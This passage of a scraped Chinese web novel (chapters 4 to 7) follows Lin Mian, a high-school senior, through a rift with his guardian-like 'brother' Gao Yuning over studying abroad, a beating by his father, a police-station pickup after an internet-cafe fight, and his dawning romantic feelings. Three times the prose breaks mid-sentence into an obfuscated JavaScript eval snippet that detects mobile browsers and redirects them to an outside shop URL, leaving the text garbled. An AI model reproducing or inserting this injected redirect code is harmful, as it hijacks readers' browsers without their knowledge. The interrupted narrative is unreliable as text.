嘴上还在跟郜屿宁聊着工作,但因为醉意太深也没发现郜屿宁对他的敷衍、还窝了一肚子火。 到酒店,郜屿宁借口要再抽根烟透透,看着司机和李秘书一人一边把林佑勤架回房间没跟着上楼。 郜屿宁点了根烟,心里气极了,头也疼得要命。 前一天还能为了申请的事情焦虑得睡不着觉,第二天就能背着书包去普高部旁听了? 不就是那天周一早上林佑勤说了他两句,林缅为了跟林佑勤置个气,能做出这种幼稚又不负责任的行为。 他站在酒店外,烦闷地扯松领带,看了眼时间已经不早了,但他还是直接给林缅打去了电话,白烟在指尖氤氲开。 忙音过后,林缅的声音传来,“哥!” 郜屿宁抖了抖烟灰,开门见山,不紧不慢地说道,“我看时间你申请的学校里有几个放榜了,结果怎么样?” 电话那头,林缅语气失落、遗憾、委屈、诚恳要素齐全,但撒谎道。 “都被拒了…” 4. 第 4 章 晚自习课间,周围闹哄哄,林缅坐在教室最后一排,趴在课桌上,语文必备古诗词背得直翻白眼。 上次模考距离林缅的目标成绩差了十万八千里,他被挫败得有些沮丧,但又不得不继续对症下药,苦哈哈地背书刷题。 数学课代表陈汋把作业从办公室捧回来放到讲台上了,从前只用挑池景行和自己的,自从林缅到他们班之后,他也会帮林缅找作业本。 今天他都没来得及找作业,直接冲回座位上,转过身对林缅说,“我刚刚在办公室看到你哥了!” “不可能…你看错吧?”感觉到心往下猛坠了一下,林缅坐直了身子往后移,警惕地看着陈汋。 “真的!不信你去看。”陈汋又补充道,“初中的时候你哥被叫来学校那么多次,我又不是没碰到过。” 陈汋的表情一点开玩笑的痕迹都没有,异常的认真,林缅的心立刻忐忑起来。 陈汋说完之后就上讲台找作业去了,留下林缅一个人。他看着课本上的一个个中国字渐渐变得扭曲和模糊,小方块撞在他的脑门儿上又不知道被弹到哪里去了,反正就是不往脑子里面跑。 明明昨天晚上打电话的时候还好好的,他骗郜屿宁全被Reject的时候,郜屿宁还安慰了他几句…难不成郜屿宁那个时候就已经知道他在撒谎了?林缅瞬间寒毛都要竖起。 上课铃响了,喧闹的教室安静下来,逐渐只剩下课本翻页和唰唰写字声,还有林缅忐忑不安心跳如鼓的声音。 “叩叩。”教室后门的玻璃被敲响。 一大半的同学寻声望过去,林缅抬头看去,悬着心终于死了。 郜屿宁身子微微前倾,压低视线,透过门上那一条不算高的窄窄的玻璃看向他,眉眼冷俊,比窗外的黑夜还要晦暗。和林缅对视两秒后,郜屿宁直起身子往旁边走了一步,站到室内学生看不到的盲区。 林缅慢吞吞地站起来,正好和前桌的陈汋和池景行对视,他们不约而同地给了他一个“祝你平安”的眼神。 林缅出门后,郜屿宁没看他一眼就朝楼梯走去,林缅默默地跟在他身后。走出教学楼迎面一阵冷风,两个人沉默无言地走到了没人的停车场。 “哥…今天不才周四吗?怎么这么早就回来了?”上了车后,林缅小心翼翼地问。 郜屿宁没有回答他,扯了扯冲锋衣的领子,露出了里面的衬衫领带,应该出差刚回来换了件外套就来学校了,语气冰冷,“说吧。” 林缅明白郜屿宁让他说什么,为什么突然就不想出国了,但是他扯着嘴角装傻,“说什么呀…哥。” 郜屿宁沉默地看着他,面无表情。 刚刚一路的冷风把林缅的嘴唇吹得有些干燥,他这才舔了舔嘴唇,“我不想出国,你不也是在国内读的大学…” “我在哪里上的学跟你有关系?” 车内沉寂了片刻。“怎么没关系。”林缅拧着衣服的下摆撇过头。 “拿这种事儿跟你爸置气幼不幼稚?” “跟他没关系。”林缅不太高兴地低声说,“别老是拿我爸来压我。我考什么样儿都不用他管我。” “林缅,你是不是太自以为是了一点?不用管?帮你收拾的烂摊子还嫌少?”郜屿宁冷冷地戏谑。林缅这次模考的成绩连个普通一本都够呛。 但这话在林缅听来却像是在和他撇清关系。郜屿宁说到底是林佑勤的助理,照看林缅也只是他的工作,林缅不听话,难做的是他。 林缅下意识地烦躁起来,跟炸了毛的猫一样,别扭地说道,“你少教育我了,我自己的事情凭什么不能自己做主!” 被莫名其妙发了通火的郜屿宁更不爽了,“你特么以为我稀罕管你是吧?” “对啊,你本来就不想理我!你嫌麻烦就直接跟我爸告状去好了。”说到激动的林缅控制不住地开始流眼泪。 “我爸说让我少黏着你你肯定偷着乐呢,你肯定巴不得我爸多打我骂我几顿给你解解气呢!” “林缅,你讲话有点分寸。”郜屿宁冷着声音说。 “反正你讨厌死我了,还有、还有我之前被砸破脑袋进医院,你肯定恨不得我当场死掉就省事了!” 林缅话说的越来越不着边,都说出口了才发现自己实在有点过了,这才噤了声抬起手臂擦眼泪。但是郜屿宁已经面如冷霜。 林缅吸了吸鼻子,把眼睛垂下,语气瞬间软了下来,“哥…” 林缅的头发刚刚被自己拨乱了,额角的疤在车顶灯下若隐若现。 郜屿宁没有像以前那样帮他把头发理好,把那条明明很淡了但在他依旧觉得刺眼的疤遮起来,只是冷冷地看向他躲闪的眼睛。 林缅被他看得心虚,伸出一只手握住郜屿宁搭在方向盘上的手腕,带了些撒娇的意味,“哥哥…” “滚下去。”郜屿宁皱着眉甩开他的手,移开视线,看向挡风玻璃外的夜色。 “哥…我知道…” 边说林缅小心翼翼地抬起眼睛看向郜屿宁,但郜屿宁直接打断了他,抬手指着他,“我不跟你扯别的,出国的事情你自己想清楚。” “我想得很清楚…” 不等林缅说完,郜屿宁继续说,“没想清楚之前,别来找我。” 林缅张了张嘴,还要说些什么,郜屿宁不容置喙,“滚。” 林缅知道郜屿宁生气铁了心不想理他,现在再说别的也是火上浇油,擦了把眼睛,忍泪吞声地下了车,透过暗色的玻璃看着郜屿宁冷峻的侧脸。 直到车身滑了出去也没等到郜屿宁再看他一眼。 争吵后的委屈和被漠视的失落像一只手攥着他的心脏摁进酸水里,泡得他酸胀得难受。 等到周五傍晚放学,林缅拖着步子走出校门,不出意外地没找见郜屿宁的身影,来接他的是司机张叔。 “张叔。”他心中难掩失落地上了车,就如林佑勤上周交代的一样,让他这周回了林家。 明明是自己房间,他却怎么待怎么不得劲儿,一展柜的手办他却只想要那个被随便丢在郜屿宁家床头的那个,坐到书桌前,卷子上一个字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990802|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿都看不进去。 他拿出手机,他和郜屿宁从昨晚吵完架分开后就没再联系过。 在他和郜屿宁这么多年相处以来,第一次有这样大、这样严峻的分歧。 以往都是些小打小闹,郜屿宁或是无奈迁就,或是厉声警告,林缅都很快就识相地见好就收了。 只是林缅这次也是铁了心地不肯低头认错后出国。这样一闹,只能落得冷战的地步,分走了林缅大半的精气神儿。 就连餐桌上丰盛的鱼虾蟹肉他都吃不进去,拉着张小脸没精打采。 “难得回家一趟,一家人还得看你脸色?”林佑勤厉声指责,给他郁闷的思绪又蒙上了一层烦躁。 “本来就不想回来。”林缅低声抱怨,扒拉着碗里的饭,快被他碾成糍粑了。 沈珏赶紧在中间说好话,给林缅夹了只虾,好声好语地劝着两人,“难得聚在一起吃顿饭…小缅吃虾,妈妈记得你最爱吃这种虾了…” 林缅本来就对林佑勤有怨气,心想,要不是因为林佑勤,郜屿宁才不会迫于压力干涉他出不出国的事情,这样他也不用为哄郜屿宁发愁。 林缅心中恼着,继续火上浇油,“在外边那么多人给您笑脸,您也不差我这一个。” 饭桌上气氛剑拔弩张,对面的双胞胎连动作都同步地放轻缓了很多… 在认识郜屿宁之前,林缅算是被家里佣人伺候大的,性格娇惯,随心所欲惯了,后来挨了再多打、吃了再多苦头也不长教训,依旧做事冲动,说话也口无遮拦。 林佑勤自然是不会惯着这个他认为不成器又不省心的儿子的,直接把筷子重重地拍在桌上,“说的什么话?不想吃滚!谁欠你的?” “没良心的人东西!我怎么会教出你这样的儿子!”外人眼里的大企业家,被儿子气得额角青筋暴起,形象全无。 “别把自己说得跟个负责任的好父亲似的,”林缅不甘示弱,梗着脖子,继续冷哼道,“您到底教过我什么了?林佑勤。” 林佑勤的大名一出,餐厅口的保姆也抖了一下,果不其然,一桌的饭菜下一秒就要被掀翻。 原本还在两人之间手忙脚乱打圆场的沈珏,在一片狼籍发生之前本能反应地护住了双胞胎,一手一个只及她腰高的小儿子,被蒙住眼睛贴在她身侧。 林缅的余光瞥见,原本空荡荡的胸口瞬间被落寞填满,连下一秒林佑勤打在他的脸上的巴掌也没躲得开。 他哗得踢开椅子,沉重的红木在地板上拖出难听的声音,紧接着转身走出餐厅,跑上了楼。 林缅倒在床上对着天花板发呆,左半边脸火辣辣的疼,像是密密麻麻的针扎在皮肤上,但都不及心头的半分。 他翻身摸到床边的手机,郜屿宁的聊天框旁依旧没有红色的未读消息提醒,心往下沉得更深。 林缅不是没有预料到郜屿宁会很生气,只是没想到只是短短冷战一天,竟然都难熬成这样。 眼中噙了很久的眼泪终于要无法自控地流下来。 卧室的房门正好被叩响。 5. 第 5 章 是沈珏,手上拿着一罐药膏走进房间。 “妈妈…”林缅擦了一把眼睛,从床上坐了起来,低声喊了句。 沈珏坐到他床边,怜惜地看着他侧脸上那个还未消肿的红印,眼神里也泛着光。 林缅吸了吸鼻子,把脸偏过去。 “小缅,你怎么老是不长记性呢?” 沈珏指腹蘸上乳白色的药膏,轻轻托着他的脸,温柔地帮他打圈擦药。 林缅感觉到麻木的皮肤上被冰凉的温度唤醒了知觉,他闻到沈珏身上的香味,是他从小记忆里妈妈的那种味道。 他抿了抿嘴唇,“明明是他先说我的。” 沈珏轻叹了一口气,把药膏收好。 林缅掀起眼皮,有些不悦地问,“妈妈,你是不是要说,我跟我爸一个磨子刻出来的,脾气什么都一模一样,所以才动不动就吵架。” 沈珏帮林缅理头发的手微微顿了一下,摇了摇头,说道,“不像,你跟你爸爸一点都不像。” 林缅松口气,“那就好,我才不要像他。” 沈珏微微笑着,“但是,妈妈看得出来你心里藏着事情。” 林缅的睫毛轻轻抖了两下,但还是咬着嘴唇,默不出声。 “我猜猜看?”沈珏弯起眉眼,声音像水一样。 “跟朋友吵架了?打游戏输了?有喜欢的女孩子了?” 林缅都一一摇头,“其实真的没事…” 沈珏轻叹了一声,用手臂环住林缅的肩膀,像是他还小的时候那样把他揽进怀里,语气是真实的失落,“宝宝…为什么长大了之后就不和妈妈亲了呢?” 其实他知道沈珏已经做得够好的了,至少在没有弟弟的那几年里对他真的是视如己出,甚至有了弟弟之后她也没有冷落过他,林缅归咎于是自己敏感和多疑,就比如刚刚沈珏护住双胞胎的举动,他会无端地想到,从来没有一个人这样保护过他。 他怕沈珏难过自责,眼里微微泛起泪光还是眯起眼睛,笑着安慰她,“我真的没事呀,妈妈。” 沈珏抬手继续帮他把翘起的头发捋顺,目光疼爱,“时间好快,宝宝都长这么大了…” “这条疤怎么还这么明显,妈妈带你去弄掉它,好不好?” 林缅胡乱地抓了两下头发,又把头发弄乱了,后仰着撑在床上,“算了,又不碍事。” 沈珏很认真地问,“那你以后长大变成那种精英男,梳背头的时候露出来也没关系吗?” 林缅被沈珏逗笑了,但他想到了郜屿宁,有时候会把头发往后梳,露出光洁的额头和无可挑剔的眉眼,非常帅。 他又开始想他哥了。 好想好想哥哥。 不知道哪来的底气,他觉得如果有人要打他,郜屿宁在场的话肯定会拦住那个人,把林缅护在身后,即便那个人是他爸。 想到这里林缅心里像是被苦水泡过一样,就连他的凭空幻想都能笃定地感受到郜屿宁对他有多好,但是他昨天吵架时居然那样口不择言,白白伤了他的心。 但林缅却一直都是一个冲动上头后习惯于逞一时口舌之快的人,不然也不会吵架时意气用事随口说出让郜屿宁寒心的话、也不会那么多次明知道最后会被林佑勤打还要顶嘴。 “妈妈,我真的没事,我要是有事肯定跟你讲好吗?”林缅从床上跳到地上,把沈珏拉起来。 沈珏还要说什么,但在林缅一声声甜蜜却敷衍的妈妈中被推出了房间。 林缅一个鱼跃蹦到床上,趁着冲动找出手机,深呼一口气,颤颤巍巍地给郜屿宁发了条消息。 林缅:哥。 显示发送成功,林缅紧张地牙齿都要开始打架了。 时隔四五分钟就要刷新一次手机,一听到消息提示音就赶紧蹦到手机边,心脏跳得很快。 简直和表白过后焦急等待回应的青春期小男生无异。 但好久都没有收到回信,心如死灰的状态也和表白被拒绝没有区别。 高三的这个阶段几天一小考,几周一大考。 “表白被拒绝”后的林缅痛定思痛,发誓一定要在半个月之后的校内模考中拿出漂亮的成绩。 狠狠扔到郜屿宁的面前,让他小瞧他。 上学之后,林缅开始加入陈汋的夜间补课小组。但是普高部管得很严,由奢入俭难,林缅也是适应了好一段时间才习惯普高部的学习强度。除此之外,宿舍夜间熄灯、阿姨查房不允许出声,教室更不用说了,保卫科巡逻一逮一个准。 林缅想到了一个馊主意。普高部校区比国际部要老旧很多,等熄灯之后林缅带着他们翻墙出去,去了商业街的一家黑网吧里包夜。 居然还真混了这么几天都没被发现。 就是得拜托成年了的徐语常每天都要半夜来给他们开包厢。 明明ED就确定好院校、能在家里高枕无忧的徐语常还得半夜到点来网吧看三个小孩儿上网课,有点像托管老师。 “你说说你图啥,像我这样摆烂不好吗?”徐语常戴着帽衫,窝在沙发里,两条腿交叠着跷在桌上。 “你少来勾引我,我都下定决心要好好学习了。”林缅把卷子翻来翻去。 徐语常耸了耸肩,吸了口烟,瞬间房间里都充满了西瓜还是草莓甜腻的味道,不难闻,但是林缅皱了皱眉,“能不能出去抽烟?” 徐语常眯起眼睛,“什么时候轮到你说我了?不是你抽得起劲的时候了?” 林缅把草稿纸翻得稀里哗啦,漫不经心地回答,“早扔了,我哥不让我抽烟。再说了,我本来就是尝个味道,你也赶紧别抽了。” “哼哼,你也太听你哥话了。”徐语常阴阳怪气,把烟随手丢在了茶几上。 “兄弟这样不是很正常,小行也很听陈汋话啊。”林缅说着下巴朝旁边位置上脑袋紧挨在一起的两人抬了抬,对面两人都僵了一下。 “你确定一样?”徐语常看了那两人一眼,又看向林缅。 “有什么不一样的。”林缅边说着边把卷子翻了个面,又是一道圆锥曲线。 他把草稿纸整了整,开始埋头苦算。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990803|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等做完整张卷子,林缅如释重负地伸了个懒腰,看见徐语常已经睡着了,他找老板要了条毯子给徐语常胡乱盖上,陈汋和池景行也不知道去哪里了。 他发了几条消息,却发现那两人连手机都没带。他没多想,想去趟卫生间,回来小咪一会。 网吧的卫生间狭小逼仄,有一点动静就能听清,林缅刚进门的时候就听到隔间里传出响动。 起先并没有多在意,但站到便池旁边时,这声音越来越清晰,有点像咂摸嘴的声音。 “呼吸…” 这声音好像陈汋。 “小行,都亲了那么多次了怎么到现在连呼吸都没学会。” 林缅的下巴差点掉到地上,匆忙尿完就溜了回去。连路都不好好看,转角处还撞到了一个神智不清的醉汉,红着眼布满血丝,恶狠狠地瞪着他,正要不爽地破口大骂。 “不好意思,不好意思…”林缅这才反应过来,躬着腰连声道歉,说完慌里慌张地跑回自己包厢。 回到位置上,困意全无,口干舌燥,猛灌了好几口水。 徐语常被他逃回来的动静吵醒了,看着林缅坐立难安的模样,聪明细腻的徐语常很快就猜到了,“看见什么了?” “啊?”林缅如惊弓之鸟,扭头看向她。 徐语常从毯子下面伸出一根手指,点了点那两个空着的座位。 林缅顺着她手指的方向看过去,惊讶地问道,“你、你早就知道了?” 徐语常有些无语,“他们俩这么明显,你是不是太迟钝了一点?” “什么?” 见林缅还是一脸懵,她直接说道,“你觉得陈汋管池景行那个管法是在管弟弟吗?” “哦…哦,”林缅还是没缓过来,但是嘴上应着,又问道,“那…他们知道你知道吗?” “知道啊。” 林缅一下子急眼了,跳了起来,“合着就我一个人蒙在鼓里!” “应该反思一下的是你自己好吧!他们本来也没打算避着人,是你自己,不知道一天到晚在琢磨啥。”徐语常指控他。 林缅咬着嘴唇上的死皮,噤了声,确实有些心虚,最近的心思都放在和郜屿宁冷战的悲愤交加里了。 没过一会,陈汋和池景行就回来,林缅脸红到脖子根跟他们坦白了自己已经知道他们在偷摸谈恋爱的事情。 池景行有些害羞地抓着陈汋衣服的下摆躲到他的身后。陈汋耸了耸肩,语气平常地说,“我还以为你早就知道了。” “不然也不会说,你和你哥跟我们俩一样了。” 林缅愣了一下,脸上的表情有片刻的凝固。 陈汋突然笑起来,“哈哈,我开玩笑的。” 林缅依旧愣在原地,还没缓过劲儿来。 突然包厢的门被踹开,害陈汋往前踉了两步。 几个无业游民扮相的人站在门口,身上带着浓烈且难闻的酒味,醉得面红耳赤,横眉怒目地扫视着包厢内几位看似家境有钱、青春期不学好、逃学来网吧装叛逆少年的乖宝宝。 6. 第 6 章 很遗憾的是,和郜屿宁冷战后宣布要来一个士别三日当刮目相看的林缅,在第四天学习小组半夜活动的时候和小伙伴们进了局子。 郜屿宁凌晨两点到警局的时候,林缅坐在大厅的公共排椅上打瞌睡,看见郜屿宁风尘仆仆地走进来,他却别扭地扭过头,巴不得郜屿宁没看见他。 旁边一位叔叔走到郜屿宁面前,稍微交代了几句,郜屿宁微微点了点头。那位叔叔又走过来拍了拍林缅肩膀,林缅才把头从书包里抬起来,郜屿宁正面无表情地看着他。 没想到会以这种方式再见面的林缅有些不好意思和难为情,慢吞吞地跟着郜屿宁走出了警局。 外面是漆黑宁静的夜,风刮在身上有些刺骨,郜屿宁视线在他浑身上下扫了一遍,确定没有受伤,才开口,声音更是冰冷。 “为什么闹事?” 林缅却有的是倒打一耙的本事,委屈巴巴地控诉,“因为你不理我,给你发消息也不回,你看你都多久没理我了!” 郜屿宁直接站住,没有跟他插科打诨的心思,“好好说。” 林缅这才识相地交代,“我们去网吧…”他偷偷看了郜屿宁一眼,继续说,“是去上网课的,那些小混混看我们几个男生只有徐语常一个女孩子,嘴巴不干净…我们就跟他们吵起来了,砸了他们的电脑…” 他又强调,“是他们先找事儿的!” “你又抽烟了?”郜屿宁突然问,眼里的情绪依旧是一片漆黑。 “没有!绝对没有!”林缅抬起袖子闻了闻,闻到一股甜腻的香气,“应该是徐语常抽的…” 郜屿宁收回视线,继续往前走。 “他们呢?”两人已经走到摩托车边。 林缅接过郜屿宁递过来的头盔,戴上之后,郜屿宁帮他把帽衫的拉链拉到顶上,林缅回答,“都已经被接走了。” 郜屿宁帮他整理衣领的手顿了一下,滚了滚喉结,淡声说,“是我来晚了。” “哥,我还以为你不会来接我了呢。”林缅只有一双眼睛露在外面,眨巴眨巴的。林缅知道郜屿宁睡眠不好,每天晚上都要靠安眠药入睡,所以来迟也不奇怪、直接错过也不奇怪。 郜屿宁看了他一眼,把他头盔上的护镜拍了下来,“我倒是不想来,你是我老板的儿子我能不来吗?” “可是你又不是不知道,你老板最不喜欢他这个儿子,你刚刚没看到吗?我嘴角还有伤呢,被我爸打的!都怪你上周不来接我。”林缅又把护镜抬了起来,拧着眉毛气呼呼地说。 “那为什么又不愿意出国了?这样你就可以离你爸远一点了。”郜屿宁停下戴手套的动作,一手撑在摩托车的坐垫上,微微弯着腰,看向林缅的眼睛。 林缅眼睛闪了一下,因为郜屿宁的靠近他上身不自觉地向后微微仰了一下,耳朵被捂在头盔里以至于耳膜传来一股一股的声音非常明显,他的嘴巴却因为找不出理由沉默着。 “你是不是谈恋爱了?”郜屿宁问。 林缅突然意识到那一股一股的声音是自己的心跳。可是为什么心跳会这么快呢?他的视线躲闪着郜屿宁的眼睛,落在他的嘴唇上,目光变得有些呆滞。 林缅的嘴巴被捂在头盔里,他下意识的张了张嘴,正好蹭在头盔内有些粗糙的纹理上,不知为何有些委屈和心酸。 “林缅,”郜屿宁在心中得到了肯定的答案,站直了身子,嘴角压了下来,声音变得近乎冷酷,“你觉得为了这种事情放弃自己的前途很伟大吗?如果你只是为了和某个人同路改变自己的生活,也不会有好结果。” “哪有这么严重!”林缅反驳道,他很不喜欢郜屿宁这样一本正经地说叫他,“我说了是我自己不想走不想走,为别人改变什么了?” 眼看林缅的眼睛已经红了一片,就要因为情绪激动飙出眼泪,郜屿宁又把他的护镜合上,转身自己也戴上头盔。 争吵无果。 林缅坐在郜屿宁的后座,风声穿透头盔听上去依旧猎猎,黑夜里城市的缩印倒影在他的护镜上,斑斓又浪漫。他抱紧郜屿宁的腰,靠在他的背上,觉得满足又远远不够。 摩托停在学校门口,林缅跳下摩托,护镜不知道为什么全是水雾,他摘下头盔,眼睛鼻子全都红着。 郜屿宁也摘下头盔挂在后视镜上,一只手掐着他的脸仔细看了看他说的嘴角的那个伤口,其实不说已经根本看不出来了。 但是小少爷仰着头要他看个仔细。 郜屿宁左手拎着林缅递给他的头盔,右手拍了拍他的脸,难得温柔一次,“好了,进去吧,明天我帮你和老师请假,在宿舍里好好睡一觉,以后晚上别溜出去了。” “哦…” 林缅背着书包朝保安室走去,郜屿宁拎着头盔朝摩托车走去。林缅突然回头,看见天边已经渐渐泛起了鱼肚白,郜屿宁像是朝着红光乍现的方向走去的,路灯和隐约的晨光披在他身上。 中二时期的林缅觉得郜屿宁像是日本特摄剧里的男主,或是美国漫威电影里的超级英雄一样出现在他的面前。今晚也是,和以前很多次一样。 纵观林缅的整条成长道路,郜屿宁出现的意义也是这样的。把独自在海中沉浮的林缅,打捞上船,一起上了一座只有他们两个人的孤岛。 林缅后知后觉自己为什么心跳那么快了,为什么郜屿宁问他是不是在谈恋爱的时候会下意识地心虚,为什么陈汋只是开玩笑说你们俩和我们一样的时候竟然没有反驳,甚至觉得合理。 他想要和郜屿宁永远都困在那座岛上,就只有他们两个。 在他意识到自己在做什么时,他已经朝着渐行渐远的人影跑去,用力抱住他的腰,显然对方没有意料到他的偷袭,身子被撞得踉跄了一步。 “哥…别生气了好吗?”林缅眼泪止不住地往下落,“我会自己跟我爸说的。” 郜屿宁的身子依旧僵直。 “不会让你为难的,哥哥。”林缅在称呼上微微加了尾音,像是在撒娇。 郜屿宁呼出一口气,白色的雾气在晦暗的天色中升腾消散,“林缅,你觉得我是因为这个所以跟你生气的吗?” 林缅的双手被不算温柔地扒了下来,郜屿宁转过身看着他,林缅抬手把脸上的泪痕擦干净,抬眼看向郜屿宁,有理有据地说道,“哥,明明我说那些难听的话你也会觉得寒心生气,为什么你还要一直把我推走呢,我也会伤心啊…” 扭过头继续说,“你明明知道,我只有你了。” “林缅,你至少应该先跟我商量。”郜屿宁的语气一直低沉着。 “商量你也不会同意。”林缅的倔劲又上来了,嘟囔着说。 “那你应该知道我为什么不同意。” 因为林缅从小任性娇惯,三分钟热度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990804|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,想一出是一出…这次就和林缅以前心血来潮做出的决定一样,用前一秒爱不释手的球鞋下一秒就被用来踩水坑、看到中意的手办说换就换,但转手就丢在角落蒙灰… 眼看林缅的眼泪又要流下来了,郜屿宁摘下手套,用食指关节在他脸上轻轻刮了一下,把一颗圆润的泪珠刮走了,“行了,别委屈了,你自己好好想想吧。” 郜屿宁揽着林缅朝保安室走去,敲了敲黑漆漆的窗子,听到里面传来脚步声,他用力捏了捏林缅的肩膀。 值班的保安开了门,郜屿宁陪了个笑脸,把人送了进去,看着林缅慢吞吞地走进教学楼消失不见才转身离开。 林缅回到一个人都没有的宿舍,脱下衣服外套就钻进被子里,把自己裹成一个蚕蛹,哭得整张床都在抖。 郜屿宁居然说他没什么好哭的,说他没什么可委屈的。 他简直委屈死了。 他喜欢郜屿宁。是一刻也不想跟他分开的那种喜欢,也是不想跟别人分享的那种喜欢。 不是简单的对哥哥的喜欢。是想亲亲郜屿宁的嘴巴,想要抱住他,想… 反正就是想和郜屿宁像陈汋和池景行那样谈甜甜的恋爱的那种喜欢。 认清自己感情的这一刻,他也不知道是豁然开朗更多,还是崩溃难堪更多。 周五上午,这周末池景行过生日,邀请他们去家里玩。林缅给张叔发了消息说自己这周末不回家。 又可怜兮兮地给郜屿宁发了消息:哥,你这周末让我回家吗? 过了半个小时对面还是沉默着。 林缅:不让回的话我住到同学家里去了。正好池景行过生日。 郜屿宁早会结束,已经是快要午休的时间了。他才看到林缅接连的两条消息,中间隔了大半个小时,无语地发笑。 也不知道正哪里的好,正好郜屿宁不让他回家,所以才去同学家过生日? 他便只是冷淡地回了个知道了。 郜屿宁从来没说过不让他来自己家。林缅抬起尾巴,郜屿宁就知道他这又是在向自己卖可怜呢。他将计就计不理会林缅的这些小心思。 他打开手机邮箱,好几封未读邮件,他远程连上打印室的打印机,想着趁现在办公区人少,打印了出来。 正准备起身去打印室拿资料,办公室的门就被敲响了。 是新来的实习生何琰南,手里拿着一叠资料,殷勤地递到郜屿宁的桌上。 “郜助,正好在打印室看到是您打印的文件就给您送过来了。”何琰南有些拘谨地说。 郜屿宁愣了一下,拿过那一叠纸整了整放到一叠文件夹的下面,皮笑肉不笑地对他扯了一下嘴角。 “郜助…您有弟弟?”何琰南也不是故意要偷窥郜屿宁的私人生活,但是不小心看到郜屿宁打印的都是批改完的高考模拟卷,还是没忍住攀谈了起来。 郜屿宁看着电脑屏幕,随口应到,“嗯,高三了,在准备高考。” “哦…那压力还挺大的…” “你不去吃饭吗?”郜屿宁看向他。 “哦…去的,要帮您带吗?”何琰南被郜屿宁突然的压迫感吓了一跳。 郜屿宁的视线又回到电脑上,“不用,把门带上就行。” 吃了闭门羹的何琰南讪讪地出了门,但心里还在疑惑为什么那些卷子上的署名姓林,而不是姓郜。 7. 第 7 章 池景行的生日在周六,林缅不客气地从周五就在他们家留宿了。 因为是十八岁大生日,陈汋的父亲为这个继子也大办了一场宴会。从上午开始,陈家门口宾客络绎,无人不晓陈家后来的小儿子有多受宠。 只是成年人不放过把任何场合变成名利场的机会。而真正的聚会则在别墅的地下影院里,池景行的朋友并不多,但陈汋又叫来了很多自己的朋友,氛围活泼热闹。 为合礼数,池景行打扮得像个小大人一样先在大人们面前露了个面,当他穿着一板一眼的小西装跟在陈汋后面走进地下影院的时候,引起一阵欢呼。 一向腼腆的池景行不习惯于成为人群的焦点,躲到陈汋的身后,林缅第一个冲过去把礼物塞进他怀里,惊呼道,“祝小行宝宝成年快乐!” 偌大的家庭影院又欢腾起来,大家也纷纷送上礼物。池景行害羞且认真地一个个道谢,陈汋站在他身旁帮他一个个收好。 晚上聚会结束,朋友们都三两成群的离开,最后只剩下他们关系最要好的四个。 “哎…现在只剩下林缅还没有成年咯。”徐语常故意用遗憾的语气逗林缅。 林缅不以为意地躺到沙发上,“但是作为这个小团体的忙内,很明显我的心智比你们都要更成熟一些。” 陈汋和徐语常都不约而同地翻了个白眼,懒得反驳。用实际行动告诉他,不理他这种喜欢睁眼编瞎话的行为才是真正成熟。 池景行默默地抽了一张纸巾借着星空顶昏暗的光线抓着白西装的下摆用力蹭了蹭,擦来擦去还是一片深色的污渍。 “成人礼穿不了了…”原本准备下星期学校成人礼也穿这套定制西服的池景行遗憾地说。 陈汋拿过他手里的纸巾,团成团丢进垃圾桶,“不要了,穿新的。” “时间好快啊,都要成人礼了,成人礼之后两个月多你们就要高考了哦。”提及成人礼,徐语常有些感慨地说。 说到毕业之后的生活,一个个都起劲起来。 林缅横躺着霸占了一整条长沙发,盯着星空顶发呆,心头突然一阵酸胀。他们三个都对未来的生活有明确的期待,只有自己… “林缅怎么不说话?”徐语常问。 陈汋安慰他,“你上次校内模考不考得挺不错?照这个进步速度,你高考肯定没问题的。” 林缅依旧沉默着,池景行察觉到林缅不想讨论关于高考关于未来的话题,推了推陈汋,“你去拿你上次说的那个桌游卡牌吧,我们玩游戏。” 陈汋看了眼时间,又看向池景行一动未动。 未听到动静的林缅把自己哄好后,一个翻身起来,“算了,我去拿。” 边走边问,“在你书包里吗?” “嗯…” 自从周五回来之后,他们三个人就跟脱缰的小野马一样把书包丢在陈汋书房的柜子前,放假后就没再碰过。 林缅上到了书房,拎出陈汋的那个最鼓却意外很轻的书包,一打开下巴又掉地上了。 “别动!”陈汋的声音正好在背后响起。 但为时已晚,林缅蹲在地上缓慢地转过身,食指和中指夹着一个小盒子,看向陈汋,“我要被你们同性恋吓死了…” 说到一半他就没底气了。 一书包的避孕套,想要翻找出传说中的卡牌盒还需要一些精力。 陈汋把他扒拉到一边,翻找出了盒子。 “怎么没把你憋死?”林缅嫌弃地问。 “你以后就懂了。” “我懂个屁!太畜生了你!” “我哪里畜生了,小行今天就满十八岁了。”陈汋哼笑了一声,说,“倒要看看是我先憋死,还是你先被吓死。” 